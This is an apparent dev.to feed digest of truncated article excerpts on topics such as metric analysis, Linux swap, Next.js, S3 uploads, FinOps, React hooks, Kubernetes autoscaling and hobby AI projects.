    Metric A goes up 📈 but Metric B goes down 📉 — what should you do? Should you celebrate the improvement or worry about the decline? 1️⃣ Identify: Real Degradation or Expected Behavior? ✅ Expected Behavior (Safe to Launch) Example: Meta Group Call Feature Result: DAU ↑ but Total Time Spent ↓ Analysis: Users need fewer group calls because communication becomes more efficient through one-on-one calls. Key metric checks: DAU ↑ Average time per session ↑ User engagement ↑ Conclusion: 2️⃣ Mix Shift vs. Real Degradation Example: Retention ↓ but DAU ↑ Step 1: Segment Analysis New users vs. existing users Step 2: Evaluate Each Segment If new users naturally have lower retention → Mix shift (✅ safe to launch) If both groups maintain or improve retention → Not degradation If both groups show lower r…  ( 9 min )
    How to create a timeline: Excel, Word, PowerPoint, Google Sheets, Preceden, and JavaScript
    A timeline visualizes events chronologically, making it easier to understand project progress, historical sequences, or future plans. Whether you're tracking project milestones, creating a presentation, or documenting company history, you need the right tool to build your timeline. This guide shows you how to create timelines using tools you likely already have: Excel: Using SmartArt for basic document timelines. Word: Using SmartArt for report and document timelines. PowerPoint: Using SmartArt for presentation timelines. Google Sheets/Docs: Using Timeline view for collaborative projects (requires Google Workspace). Preceden: Using dedicated timeline software for professional results. JavaScript: Using Bryntum to build custom timeline charts. Each section is self-contained, so you can jump…  ( 12 min )
    How to Configure Swap Memory in Linux
    Swap memory in Linux is a reserved storage space on your disk that acts as virtual memory when your system’s RAM is full. Think of it like a backup fuel tank, your computer primarily runs on RAM, but when that’s exhausted, Linux uses swap space to keep things running smoothly instead of freezing. Swap comes into action when your system needs more memory than what’s available in RAM. The operating system temporarily moves inactive data from RAM to Swap. Here’s a simple ASCII overview: +-----------------+ +----------------+ RAM is always faster than Swap because RAM is physical memory, while Swap uses storage devices such as SSDs or HDDs. Tip: If using SSD, Swap is still slower than RAM but much faster than on HDD. Many beginners wonder, if RAM is faster, why bother with Swap? Here a…  ( 7 min )
    Erklärbare KI
    Ich habe Claude gebeten für mich etwas nachzurechnen bzw. zu prüfen (https://arxiv.org/pdf/2511.04648). Ich verwende eine eigene DSL, kein billiges Wörterbuch sondern eine rekursive Logik. Die KI darf sich nur in diesem Rahmen bewegen, dabei entstehen dann solche Dinge. Es geht nicht um den Prüfbericht sondern die nachvollziehbarkeit was die KI hier leistet. Sie können sich die Ergebnisse die die KI hier beschreibt in meinem Github Account herunterladen bzw. einsehen. https://github.com/petzi2311/petzi2311.github.io Nein die WhiteBox erkläre ich in diesen Results nicht. Status: PRODUKTIONSREIFE Datum: 2025-11-12 Größe: 1.3 MB Dateien: 401 (50 Runs × 8 Dateien/Ordner) CausaNova_FlexTrace_Demo/ └── runs_graph_50/ ├── 1762967570_pie_seed1000/ ├── 1762967571_pie_seed1001/ ├── ..…  ( 9 min )
    Beyond the Numbers: Combining DA/PA with Other Ranking Signals for Holistic SEO
    In the world of Search Engine Optimization, the Moz DA/PA Checker tool provides essential, proprietary metrics—Domain Authority (DA) and Page Authority (PA)—that offer a fast, accurate, and user-friendly experience for evaluating the overall strength and ranking potential of a website and its individual pages. However, relying solely on DA and PA for strategy development is like judging a symphony by only the brass section. While crucial, these scores represent just one facet of a successful SEO campaign. True, sustainable organic growth requires moving beyond the numbers of the Moz DA/PA Checker and integrating these authority signals with a host of other critical ranking factors. This holistic approach ensures your strategy targets the complete spectrum of Google's algorithms: Authority,…  ( 9 min )
    How a Currency API Simplifies Global Transactions
    Businesses operate across borders , selling products, processing payments, and managing accounts in multiple currencies. Yet, dealing with fluctuating exchange rates, manual conversions, and inconsistent data can make international transactions a challenge. This is where a currency API becomes an essential tool. By providing real-time and historical exchange rate data, a currency API helps developers and enterprises simplify global operations, automate conversions, and maintain financial accuracy , all through a simple, programmable interface. Let’s explore how these APIs are revolutionizing global transactions and why they are vital for modern businesses. A currency API, or currency exchange rate API, is a web-based service that provides real-time and historical foreign exchange data thro…  ( 10 min )
    Beyond the Prompt: The Risks of Oversimplifying App Logic
    As generative AI becomes increasingly embedded in the way we build applications, many developers and businesses are revelling in newfound speed and efficiency. With just a few well-structured prompts, entire user interfaces, forms, and workflows can be spun up in seconds. This capability has undeniably revolutionized prototyping and MVP launches. But beneath this surface lies a growing concern: when app logic is too easily generated, it often becomes too difficult to understand, adapt, or scale. In the race to build faster, are we losing sight of how—and why—things actually work? LLM-powered development tools promise simplicity. They respond to natural language commands, turn vague ideas into interface components, and string together APIs or conditional flows based on guessed intent. For…  ( 9 min )
    Your Agent is finally able to "breathe freely"! How does M2 solve the biggest cost problem for AI?
    Question: The hurdle in Agent Economics Agents are widely recognized as the next step in the AI industry. They accomplish complex tasks through multiple rounds of reasoning, tool invocation, and self-correction. However, the real obstacle for the large-scale implementation of Agents is not technical capabilities, but "Agent Economics": The frequent and continuous API calls made by Agents, in the face of high inference costs, have led many commercial projects to be budgeted out before they even start. The release of MiniMax M2 is precisely aimed at addressing this "cost issue". It ranks among the top five globally in the authoritative list of performance, but its hybrid architecture fundamentally changes the cost structure of computing. indicating how intelligent and capable it is, with…  ( 8 min )
    Building Conflux - My Own Real-time Collaboration Engine in Rust
    I’ve always used real-time tools without thinking too much about how they actually work. Google Docs, Figma, Replit multiplayer, VSCode Live Share… you type something, the other person sees it instantly, nothing breaks, nobody overwrites anybody else. It... just works. And for some reason, I kept wondering what’s happening under the hood. How does one person’s change mysteriously appear everywhere? How are conflicts handled? What happens if two people change the same thing at the same time? I didn’t want the “high-level” answer. I wanted to feel the system. The same way building Veridian helped me understand Git, I wanted to understand these real-time sync systems by building one myself. So I built Conflux, a small real-time collaboration engine written in Rust. Not because the world needs…  ( 10 min )
    Next.js Server Actions vs API Routes: Don’t Build Your App Until You Read This
    When building applications with Next.js 13+ (App Router), you have two main ways to handle server-side logic: Server Actions: Functions that run on the server, called directly from your components API Routes: Traditional HTTP endpoints that handle requests Both serve different purposes, and knowing when to use each will help you write better code. What's the Main Difference? Server Actions: Think of these as functions you can call directly from your React components. They're great for form submissions and mutations. API Routes: These are like traditional backend endpoints. External services can call them, and they’re perfect for webhooks or third-party integrations. Server Actions are newer and more tightly integrated with React. API Routes are more traditional and flexible for exte…  ( 10 min )
    Multilingual AI and Its Impact in India
    India is not a single voice. It is a chorus. That simple fact has always made technology both promising and difficult here. For years, many digital services addressed a narrow slice of the population. Now, multilingual AI is changing that dynamic. It is not merely translating words. It listens to regional rhythms, respects idiom, and offers interaction in ways that feel native rather than patched on. The change is both practical and profoundly impactful. Why Language Shapes Access Language is more than words. It carries history, custom, and the small habits that make communication effective. When an application ignores those nuances, the result is friction. Users must translate in their heads, guess intentions, or rely on intermediaries. That problem shows up in healthcare, education, gove…  ( 9 min )
    NoteBookLM Tutorial: How to Turn Documents Into AI Podcasts
    NoteBookLM Tutorial: How to Turn Documents Into AI Podcasts What Is NoteBookLM? NoteBookLM is Google's AI-powered research tool that transforms your documents into interactive, AI-generated podcasts. Instead of reading through lengthy PDFs or articles, you can listen to an AI-narrated discussion about your content. Why it matters: Save hours of reading time while absorbing information more deeply through audio. Go to notebooklm.google.com Sign in with your Google account (required) Click "Create new notebook" Give your notebook a name (e.g., "Marketing Strategy 2025") NoteBookLM accepts: PDF files Google Docs Web links (URLs) Plain text To upload: Click "Add sources" in your notebook Choose your upload method: Upload files (drag & drop or browse) Paste a Google Docs link E…  ( 8 min )
    How to Add WhatsApp Button in Your Automotive App
    In today’s fast-paced automotive industry, customer communication plays a crucial role in enhancing user experience and driving sales. From car dealerships to vehicle service centers, instant messaging has become an essential feature in mobile apps. One of the most effective ways to connect with customers is by integrating a WhatsApp chat button directly into your automotive app. This guide will walk you through everything you need to know — from the benefits of WhatsApp integration to step-by-step instructions and best practices for implementation. Adding a WhatsApp button in your app can significantly improve customer interaction and support. Let’s look at the key benefits: With over 2 billion users worldwide, WhatsApp provides a familiar and trusted platform for quick communication. Aut…  ( 9 min )
    Why Developers Love This Community in 2025
    Dev.to has grown into one of the strongest developer communities online. What makes it unique is how simple, supportive and beginner-friendly it is. Unlike other platforms that feel competitive or overwhelming, Dev.to feels like a friendly space where anyone can learn, share and grow. Beginner-Friendly Environment New developers feel safe asking questions. The community never judges; instead, members offer detailed explanations and tips. It’s the perfect place for: beginners learning coding students exploring tech professionals sharing ideas open-source contributors Easy-to-Read Content Articles are written in simple language. Developers explain complex topics in a way that makes learning easy. Whether it’s JavaScript, Python, AI or cloud computing — Dev.to has clear guides. Supportive Discussions People comment with solutions, feedback and even free resources. The platform promotes healthy learning instead of arguments. Open-Source Culture Many developers share code, tools and project ideas openly. This helps beginners practice and understand real-world coding. Tech Trends and Career Advice The community actively talks about: new frameworks job interviews remote work productivity freelancing coding challenges Conclusion Dev.to remains a powerful hub for developers, a place where learning is open, friendly and community-driven.  ( 6 min )
    Google’s Private AI Compute: A New Chapter in Privacy-First AI?
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    What I learned from Facebook system design interview courses after failing multiple times
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    Show DEV: I Built an AI Rap Generator that Creates Full Songs (Not Just Lyrics)
    For the past few months, I've been working as a solo developer on a project I'm incredibly passionate about, and I'm finally ready (and nervous!) to share it. The project is RapGenerator AI: https://www.rapgeneratorai.com The Problem As a user, I felt cheated. I wanted the full experience. I wanted to hear the song. The Solution: A Full Song Generator AI-generated Lyrics (with hooks and verses) AI-generated Vocals (with a realistic flow) A high-quality Beat Final Mixing The Tech Stack (The Fun Part) Frontend: Next.js, Tailwind CSS, Radix UI Backend: Next.js API Routes Auth & Payments: My SaaS boilerplate already had Better Auth & Creem integrated. Database: PostgreSQL with Drizzle ORM The "AI Magic" is a 3-part chain: Lyrics: I use a large language model (LLM like GPT-4o or Claude 3) with a very specific, multi-step prompt. This forces the AI to output a consistent structure ([Hook], [Verse 1], [Hook]) and maintain rhymes. Vocals: This was the hardest part. I'm using a specialized Singing Voice Synthesis (SVS) API (like ElevenLabs). This isn't just a simple TTS. It takes the text, a voice ID, and parameters for rhythm and emotion to generate a surprisingly good acapella (vocal-only) track. Mixing: The backend then takes the generated acapella, grabs one of the royalty-free beats from its library (matching the BPM!), and uses FFMPEG on the server to mix them into the final MP3 that the user hears. The Ask Let me know what you think!  ( 7 min )
    10 Best Kubernetes Companies to Transform Your Cloud-Native Infrastructure
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    Why Businesses Should Invest in Smart Analytics for Data Insights
    In today’s competitive market, data is one of the most valuable assets a business can have. But having data is not enough. To gain real value, businesses need smart analytics—tools that turn raw data into clear, actionable insights. This blog explains why investing in smart analytics is essential for any business looking to grow, save costs, and make better decisions. Imagine having thousands of pieces to a puzzle but no picture to guide you. This is what it feels like for many businesses with data but no smart way to understand it. Smart analytics acts like the picture on a puzzle box. It shows businesses how all the data fits together, revealing patterns, opportunities, and warnings that were once hidden. Smart analytics uses advanced technology like artificial intelligence and machine l…  ( 7 min )
    Dark Mode for Help Centers: Pros, Cons, and Implementation Tips
    Dark mode has evolved from a trendy design option to a widely adopted feature across websites, apps, and digital platforms. Today, users expect it — not just for aesthetics, but for comfort, accessibility, and personalization. But what happens when we bring dark mode to help centers? For platforms built on Zendesk, Freshdesk, or other customer support systems, dark mode isn’t just a visual tweak — it’s a UX decision that affects readability, accessibility, and engagement. In this blog, we’ll dive into the pros and cons of dark mode for help centers, explore real-world examples, and provide implementation tips to help you decide if it’s right for your support portal. Dark mode (or night mode) uses a dark background with light text to reduce brightness and eye strain. It’s increasingl…  ( 9 min )
    Efficient S3 File Uploads: Speed & Large File Handling in NestJS
    Uploading files efficiently to S3 isn't just about getting data from point A to point B but it's about doing it fast, reliably, and at scale. Whether you're handling 5MB images or 5GB videos, the right approach makes all the difference. The Core Strategy: Direct-to-S3 Uploads Basic Presigned URL Upload Multipart Upload for Large Files S3 Transfer Acceleration Optimal Chunk Sizes Parallel Upload Configuration Connection Pooling & Keep-Alive Monitoring Upload Performance Handling Upload Failures Speed Benchmarks Production Checklist Key Takeaways 🚀 The Core Strategy: Direct-to-S3 Uploads Never route files through your server. This is the #1 performance killer. Client → Your Server → S3 Problems: Server bottleneck, memory spikes, timeouts, infinite scalability. Client → S3 (directly) Your…  ( 13 min )
    Use Markdownlint for your documentation
    This blog post is a TIL (Today I Learned) about using Markdownlint as part of your documentation workflow on GitHub lifted from my TIL collection. Markdownlint-CLI is one of those all-round tools, which are always within grasp when you need them. I lint my markdown on the command line I lint my markdown my editor of choice VScode I lint my markdown as a GitHub Action as part of my CI pipeline So lets go over the GitHub Action part. When I set up a repository on GitHub, which going to hold a significant amount of Markdown, I add a Markdownlint configuration: In the root of the repository I add the file: .markdownlint.json { "default": true } The moment I have done that, I can use the command line tool and my editor let's me know I entered bad Markdown. Next step is configuring the acti…  ( 9 min )
    Day 3: Fundamental FinOps Principles and Key Terminologies
    FinOps (Financial Operations) is a cultural and operational framework that brings together finance, engineering, and business teams to maximize the value of cloud investments while ensuring cost efficiency and accountability. FinOps is not a process you follow once. it’s a way teams collaborate to control cloud spend. There are six core FinOps principles: Teams must come together and become collaborative. Decisions are driven by the business value of the cloud Everyone is responsible for their cloud use. FinOps data should be accessible and timely. FinOps is driven by a centralized team. Take advantage of the variable cost model of the cloud Key FinOps Terms Explained: Allocation Metadata: Information used to categorize costs based on where a resource is in your environment. Example: Environment=Production, Team=Marketing, and Project=AppX Cost and Usage Reporting: The data source that cloud service providers use to derive your bill for the cloud services consumed. Chargeback: A technique of cost allocation that directly charges teams for their consumption, usually implemented as a strategy for financial allocation. Showback: This approach shows real consumption without directly charging teams, but it still informs them about their usage. CAPEX: Capital expenditure-large one-off purchases that enable long-term value. Example: Before cloud adoption, a company might buy on-premise servers and data center equipment for $500 a CAPEX investment depreciated over several years. OpEx: Operational expenditure is the recurring cost of operations. Example: After moving to the cloud, the same company now pays $25,000 per month for compute and storage resources — an OPEX model where costs vary with usage. Shared Costs: Expenses belonging to several. FinOps is not a tool you install. It’s a culture you adopt to get value from the cloud. FinOps helps organizations balance cost, speed, and quality in the cloud by ensuring that everyone is accountable, data is transparent, and decisions align with business value.  ( 7 min )
    Adventure and Peace on the Trails of Beas Kund
    Few Himalayan trails blend adventure and tranquility as seamlessly as the Beas Kund Trek Manali 2025. Nestled deep in Himachal Pradesh, this trek takes you beyond the ordinary — toward solitude, serenity, and a sense of inner calm that only the mountains can offer. From lush valleys to glacial streams, from roaring winds to silent summits, the Beas Kund trail is where thrill and peace walk hand in hand. Let’s unravel the beauty, challenges, and experiences that make this trek a favorite among adventure lovers and nature seekers alike. Every Himalayan story begins with a vibrant mountain town, and Beas Manali is no exception. As the gateway to countless adventures, Manali welcomes trekkers with its crisp air, cozy cafes, and stunning mountain silhouettes. The trek begins from Solang Valley,…  ( 8 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 5 - 'Lady Bird’
    Summary In the fifth installment of their 25 Best Movies of the Century series, Sean Fennessey and Amanda Dobbins shine a light on Greta Gerwig’s Lady Bird. They call it the ultimate millennial coming-of-age tale, praising its raw, hilarious, and complicated mother-daughter dynamic. They also dig into the tough choice to crown Lady Bird over Gerwig’s other fan favorites—Frances Ha and Little Women—convincing us why Christine “Lady Bird” McPherson belongs at the top. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    TL;DR CinemaSins just dropped a 20-minute sinfest for Thunderbolts (The New Avengers), calling out every plot hole and quirk—while admitting it might secretly be “kinda great.” Along the way they hype their website and socials (YouTube, Twitter, TikTok, Discord, Reddit), invite you to fill out their poll and support them on Patreon, and even give shout-outs to their writing squad. Watch on YouTube  ( 6 min )
    Serverless Node.js: How to Build Ultra-Fast, Cost-Efficient Backends
    The way developers build and deploy backend systems is changing rapidly — and serverless architecture is at the center of that transformation. For Node.js applications, serverless computing offers a smarter, leaner, and more scalable alternative to traditional server setups. Instead of managing servers, scaling clusters, or provisioning infrastructure, serverless platforms allow you to focus purely on your application logic — and pay only for what you use. This combination of simplicity, performance, and cost-efficiency makes serverless Node.js a game-changer for modern development teams. What Is Serverless Node.js? In traditional setups, you maintain servers, handle deployments, monitor resources, and worry about scaling. With serverless Node.js, those responsibilities move to the cloud…  ( 8 min )
    🌀 Introducing Rasengan UI Kit — 100+ React Components powered by Shadcn UI
    Hey everyone 👋 I'm excited to introduce the Rasengan UI Kit, a growing collection of 100+ beautifully crafted React components — all powered by the amazing Shadcn UI Whether you’re building a marketing website or a full-scale application, this kit gives you everything you need to move fast while keeping a clean, modern design. 🧭 Marketing Components Perfect for your landing pages and startup websites: Hero sections Teams Pricing tables Contact sections Testimonials Call-to-action blocks And much more... 🧩 Application UI Crafted for dashboards and internal tools: Cards Calendars Toolbars Data grids Lists Modals and dialogs And much more... Each component is well crafted meeting — simplicity, flexibility, and performance. ✅ Built with React + TailwindCSS 🎨 Based on Shadcn UI, giving you theme consistency and customizability 🧠 Designed to work seamlessly with Rasengan.js, but fully compatible with any React project ⚙️ Easy to customize — every component is composable and theme-friendly Explore all components live at: https://ui-kit.rasengan.dev  ( 6 min )
    Smarter Care: How AI and EMR Are Transforming Healthcare in 2025
    In 2025, the partnership between Artificial Intelligence (AI) and Electronic Medical Records (EMR) is changing the way hospitals deliver care. What was once just digital record-keeping is now becoming the foundation for smarter, faster, and more personalised healthcare. Widespread Use of Predictive AI in Hospitals Today, about 71% of hospitals are using predictive AI tools within their EMR systems — up from 66% just two years ago. These tools help predict patient risks, improve follow-ups, and support quicker, data-based decisions. In large teaching hospitals and multi-hospital systems, AI adoption is even higher — reaching 80–90%, while smaller or rural hospitals are still catching up at under 50%. AI at the Heart of Everyday Operations From Data to Decisions — Faster Real-World Impact Across Hospitals Tackling Challenges Along the Way The Future of Smart Healthcare Sources https://litslink.com/ai-in-healthcare-statistics-key-trends-shaping-2025 https://intuitionlabs.ai/ai-hospitals-2025-adoption-trends-statistics https://blueprism.com/top-healthcare-ai-statistics-2025 https://tempdev.com/65-key-ai-healthcare-statistics  ( 7 min )
    React Hooks Mastery in 2025 — useState, useEffect, useRef, and Real‑World Custom Hooks
    React Hooks are stable, battle‑tested, and still the best primitives for building resilient UI logic. real .tsx components you can run today: useState, lifecycle with useEffect, ergonomics with useRef, and custom hooks that model behavior (not components). Repo pieces used in this tutorial (you can adapt them 1:1): 01-useState/TrafficLight.tsx 02-useEffect/TrafficLightWithEffect.tsx 02-useEffect/TrafficLightWithHook.tsx hooks/useTrafficLight.tsx hooks/usePokemon.tsx + PokemonPage.tsx playground/FocusScreen.tsx hooks/useCounter.tsx TL;DR — What you’ll learn Turn useState into a finite state machine you won’t fight later. Write side‑effect safe useEffect with cleanup and event semantics. Use useRef for imperative handles (focus, scroll, measuring) without re‑renders. Design custom hooks tha…  ( 10 min )
    "2026", AI Users vs The Unemployed.
    I just read a stat that made me sit up straight. By 2026 (well, it's happening), ninety percent of all code is predicted to be AI-generated. Not 20%. Not half. Ninety percent. That's next year. a few months away. And I'm sitting here wondering if I should even bother learning that new framework I bookmarked last week. This isn't speculation anymore. Developers wrote 256 billion lines of code in 2024. The projection for 2025? 600 billion lines. That jump isn't because we suddenly got way better at typing. It's AI. Writing code. Everywhere. For everyone. And the thing is, I use these tools every day. GitHub Copilot autocompletes half my functions. ChatGPT helps me debug weird errors. Claude explains TypeScript generics when I forget how they work. I'm part of this shift. But 90%? That's not …  ( 21 min )
    50 Python + ChatGPT Prompts for Beginners
    🧭 Table of Contents Introduction Why Beginners Struggle to Learn Python 💡 Introduction Starting your Python journey is exciting — but also confusing. 🐍 Why Beginners Struggle to Learn Python You don’t know what to search for. 🤖 How ChatGPT Can Help You Learn Smarter It can: Explain Python concepts in simple language. When you use it wisely, you’ll start thinking like a programmer — not just copying code. 🧠 How to Use These Prompts Here’s a simple 3-step method to learn Python effectively with ChatGPT: Paste it into ChatGPT and read the response carefully. Run the example code yourself — make small changes, test, and learn. 💡 Tip: Don’t just ask “what,” ask “why.” 🖼️ 50 Python + ChatGPT Prompts (Visual Posters) 🧩 Beginner Tips for Effective Learning 🕒 Consistency > Intensity: Spend 30 minutes daily — steady progress beats long breaks. ✍️ Type code yourself: Don’t just copy-paste — typing builds muscle memory. 🧠 Ask for explanations: Always ask ChatGPT why something works. 🧩 Start small: Focus on one concept (like loops or functions) each week. 🎯 Build mini projects: Try calculators, to-do apps, or text games after completing prompts. 🔥 Remember: The goal isn’t to finish fast. The goal is to understand deeply. 🏁 Conclusion Learning Python doesn’t have to be overwhelming. By using ChatGPT as your daily coding buddy, you can learn step-by-step — one prompt, one topic, one win at a time. 💬 Follow me on Dev.to for more beginner-friendly learning ideas, AI-assisted coding guidance, and motivational developer content.  ( 7 min )
    How to Launch a Profitable Online Clothing Brand in 2025
    Introduction The global fashion industry continues to evolve, and 2025 is shaping up to be one of the most exciting years yet for entrepreneurs looking to enter the e-commerce clothing market. With the rise of social media, influencer marketing, and advanced digital tools, launching an online clothing business has never been more achievable—or more competitive. Whether you’re passionate about fashion design, want to build a fashion store online, or plan to start with a dropshipping model, success depends on strategic planning, strong branding, and consistent marketing. This guide will walk you through every step of how to launch a profitable clothing brand online in 2025, from concept to conversion. Step 1: Identify Your Niche and Target Market The first and most crucial step in starting y…  ( 9 min )
    The future of Mobile Apps in the era of Agentic AI
    Imagine a future where you never have to open an app again, your phone just gets things done. AI agents are software systems that use artificial intelligence to pursue goals and complete tasks on behalf of users. They can operate autonomously deciding what to do end-to-end, breaking tasks into steps, and using APIs or apps to get the job done. These agents don’t just assist; they act. Whether it’s managing emails, booking appointments, or controlling applications, AI agents are designed to take initiative and deliver outcomes without constant human input. Agentic AI, on the other hand, is a broader system or framework that uses AI agents to perform tasks autonomously on behalf of a user or another system. It’s the architecture that supports, manages, and regulates the behavior of multiple …  ( 7 min )
    The Journey of Wowzers: Creativity, Challenges, and Our Future
    When we first imagined Wowzers, we wanted to create more than just a party entertainment service. Our vision was to build a platform where creativity, professionalism, and joy converge — a place where every face-painted smile, balloon sculpture, and caricature drawing tells a story and leaves a lasting memory. Wowzers was born from a simple but powerful idea: to make celebrations unforgettable through experiences that are both artistically engaging and reliably delivered. Over the years, this idea has grown into a brand that is synonymous with quality, fun, and family-friendly entertainment, reaching clients across the nation and bringing smiles to countless faces. Why We Chose the Name "Wowzers" The name “Wowzers” encapsulates the very essence of what we strive to offer. Every performance…  ( 11 min )
    🧠 How User-Space and Kernel-Space Affect Security in Linux
    When we talk about Linux security, most people think of firewalls, sudo permissions, or file ownership. the boundary between user-space and kernel-space. Understanding this boundary is essential for anyone working in cybersecurity, system hardening, or malware analysis. the attacker does. 🔍 What Are User-Space and Kernel-Space? Think of your operating system as a high-security building. The kernel-space is the restricted control room — only a few trusted personnel (kernel code, drivers, privileged processes) are allowed here. The user-space is the public area — where regular users and applications operate. In Linux, these two areas are isolated for safety. User-space programs can’t directly touch hardware or memory used by the kernel. system calls * (like read(), write(), open()) to …  ( 8 min )
    What It Takes to Build a Modern Social Network in Django
    Over six months, I developed a complete social networking platform using Django. The project, with over 1,000 commits, implements a comprehensive set of features required for a modern social network. It was successfully deployed on a home server, confirming its stability. Legal Disclaimer & Warning ⚠️ This project, its code, and associated documentation are provided "AS IS" without any warranties of any kind. The author expressly disclaims all liability for any damages arising from the use, misuse, or inability to use this software. 🎓 For Educational & Research Purposes Only: This project is a technical demonstration. It is not intended for production use and has not undergone formal security audits. 🔒 No Warranty: The software may contain bugs, vulnerabilities, and errors. You assum…  ( 7 min )
    SEnoir devs help me need guidanace
    Hey devs, Coding fluency: ~0.5/10 (I know print("hello"), loops, and that’s it) How? Ran it I’m not a “vibe coder” — I’m a prompt engineer with high tech IQ and zero syntax muscle. The 3 Projects (All Live(now free services expired after 2 months) + GitHub) InDocuSign- https://github.com/AdityaS-EX/DocuSigner https://github.com/AdityaS-EX/bug-tracker-app https://github.com/AdityaS-EX/freelance-marketplace All have: Mentor PDF Plans (I Didn’t Make These) DocuSign Clone Plan (txt)-https://drive.google.com/file/d/1-Cyx-p4M7OP-IulwbuHisAUgBiJ63gde/view?usp=sharing https://drive.google.com/file/d/1EWg43p4SzkpR1XkR8icB33At2RKHVOPF/view?usp=drive_link https://drive.google.com/file/d/1GP-vsDjchqCG7_CICReE-kzwywED4eum/view?usp=sharing My Situation (Be Honest With Me) Truth Reality I can build anything with AII can’t explain a single line without helpI ship fastI’ll fail a live coding interview in 2 mins Roast Me. Help Me. Guide Me. Is my approach cheating? Or smart(It is dumb I know it)? Be brutal. I can take it. Tech Stack (All MERN) React + Tailwind TL;DR P.S. I used ChatGPT to write this post — because my thoughts are scattered and I can’t form clean sentences. But I built the apps. I debugged. I shipped. Now I need your help to level up.  ( 7 min )
    I Built 3 Full-Stack Clones in 3 Months — But I’m Not a “Real Coder” (Yet). Roast Me.
    Hey devs, Coding fluency: ~0.5/10 (I know print("hello"), loops, and that’s it) How? Ran it I’m not a “vibe coder” — I’m a prompt engineer with high tech IQ and zero syntax muscle. The 3 Projects (All Live(now free services expired after 2 months) + GitHub) InDocuSign- https://github.com/AdityaS-EX/DocuSigner https://github.com/AdityaS-EX/bug-tracker-app https://github.com/AdityaS-EX/freelance-marketplace All have: Mentor PDF Plans (I Didn’t Make These) DocuSign Clone Plan (txt)-https://drive.google.com/file/d/1-Cyx-p4M7OP-IulwbuHisAUgBiJ63gde/view?usp=sharing https://drive.google.com/file/d/1EWg43p4SzkpR1XkR8icB33At2RKHVOPF/view?usp=drive_link https://drive.google.com/file/d/1GP-vsDjchqCG7_CICReE-kzwywED4eum/view?usp=sharing My Situation (Be Honest With Me) Truth Reality I can build anything with AII can’t explain a single line without helpI ship fastI’ll fail a live coding interview in 2 mins Roast Me. Help Me. Guide Me. Is my approach cheating? Or smart(It is dumb I know it)? Be brutal. I can take it. Tech Stack (All MERN) React + Tailwind TL;DR I’m a tech-obsessed beginner who used AI + mentor plans to build 3 real apps. P.S. I used ChatGPT to write this post — because my thoughts are scattered and I can’t form clean sentences. But I built the apps. I debugged. I shipped. Now I need your help to level up.  ( 7 min )
    🔗 LangChain na prática: Conceitos fundamentais e avançados para construir agentes inteligentes
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    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
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    Shock to the System: How We 'Hacked' a Tesla at Zero Nights 2017 ⚡🔧
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    Building SynTour: How Spec-Driven Development with Kiro Revolutionized Our Tourism Platform
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    Best internship in Mohali, Chandigarh
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    5 strumenti indispensabili per gestire il tuo portafoglio cripto come un professionista
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    🧩Scenario #16 — Horizontal Pod Autoscaling Using YAML Manifest in Kubernetes
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    🧩Scenario #15 — Horizontal Pod Autoscaler (HPA) in Kubernetes
    🎯 Goal Automatically scale an NGINX deployment based on CPU usage using Kubernetes Horizontal Pod Autoscaler. Let’s create a simple NGINX deployment that runs a lightweight web app to simulate load. cat nginx-hpa.yaml apiVersion: apps/v1 kind: Deployment metadata: name: nginx-hpa-demo spec: replicas: 1 selector: matchLabels: app: nginx-hpa-demo template: metadata: labels: app: nginx-hpa-demo spec: containers: - name: nginx image: nginx ports: - containerPort: 80 resources: requests: cpu: 100m limits: cpu: 200m EOF Apply it: kubectl apply -f nginx-hpa.yaml Expose the deployment with a ClusterIP Service. kubectl expose deployment nginx-hpa-demo --port=8…  ( 7 min )
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    Check out this Pen I made!  ( 5 min )
    NocoBase Weekly Updates: Optimization and Bug Fixes
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    Taming Complexity: Unleashing Evolutionary Algorithms for System Modeling
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    How to Monetize Your Coding Skills by Building Niche Web Apps
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    Today, I wrote what I am going to call a “protocol proxy,” a system that receives a request via one protocol (such as HTTP(S)), translates it into another, sends it, and sends back the response as the response for your request. You might be wondering why anyone would need this. In Mini Micro, we only have HTTP(S) connections, and I want to create systems like live chat and a remote shell for my Mini Micro session so I can code anywhere in my house. It works by sending specially crafted POST requests to my Python Flask server, the post request contains all of the necessary information to do the connection and sends it back as a response to our initial request. An example request being something like: http.post("http://127.0.0.1:5000", {"request_type": "socket", "dest":"192.168.1.157", "port":5050, "method": "send", "data": "Hello, world!"}) Unfortunately, I think we are limited to a system where we connect, send, disconnect then connect, receive. The entire flow is like this: Mini Micro makes its http.post request to 127.0.0.1:5000 with the correct info to send via a socket. -> The server parses the request, performs it, target gets the request -> Target does whatever, sends a response, web server returns the response as its response for the request we made -> The response would be returned by http.post. Few things I have to do before I am comfortable releasing it, it needs a cleanup under the hood, I want to write libraries that make the whole experience easy to use with your Mini Micro code, I want to support more protocols. What would you do with this?  ( 6 min )
    The most powerful web barcode scanner has just launched on the Edge Add-ons Store. Check it out and start scanning instantly! https://microsoftedge.microsoft.com/addons/detail/barcode-qr-code-scanner/lddfadanimbaiceehkfdngafclpodldj
    microsoftedge.microsoft.com  ( 6 min )
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    Understanding Metallurgical Microscopes: How They Work, Key Applications, and How to Choose the Right One
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    Day 1265 : Myself
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    When Correct Is Not Safe: Can We Trust Functionally Correct Patches Generatedby Code Agents?
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    Create a Text Editor in Go - Text Viewer
    You can access the code of this chapter in the Kilo-Go github repository in the movingaround branch Currently your file structure should look something like this: First we want to be able to view a single line without reading it from a file, we will do that later File: editor/editor.go type EditorRow struct { chars string } type EditorConfig struct { restoreFunc func() reader *bufio.Reader rows, cols int cx, cy int numrows int row EditorRow } func NewEditor(f func()) *EditorConfig { ... return &EditorConfig{ restoreFunc: f, reader: bufio.NewReader(os.Stdin), rows: rows, cols: cols, cx: 0, cy: 0, numrows: 0, } } func (e *EditorCo…  ( 13 min )
    Federated AI's Achilles' Heel: Can Collaborative Teaching Fix Data Corruption?
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    How We Built Coomia DataGPT — An AI Copilot for Data Analysis
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    Monetzly: Boost Developer Revenue with AI Monetization Strategies
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    How I Built an AI-Powered Resume Builder Using Next.js 15 and Google Gemini AI
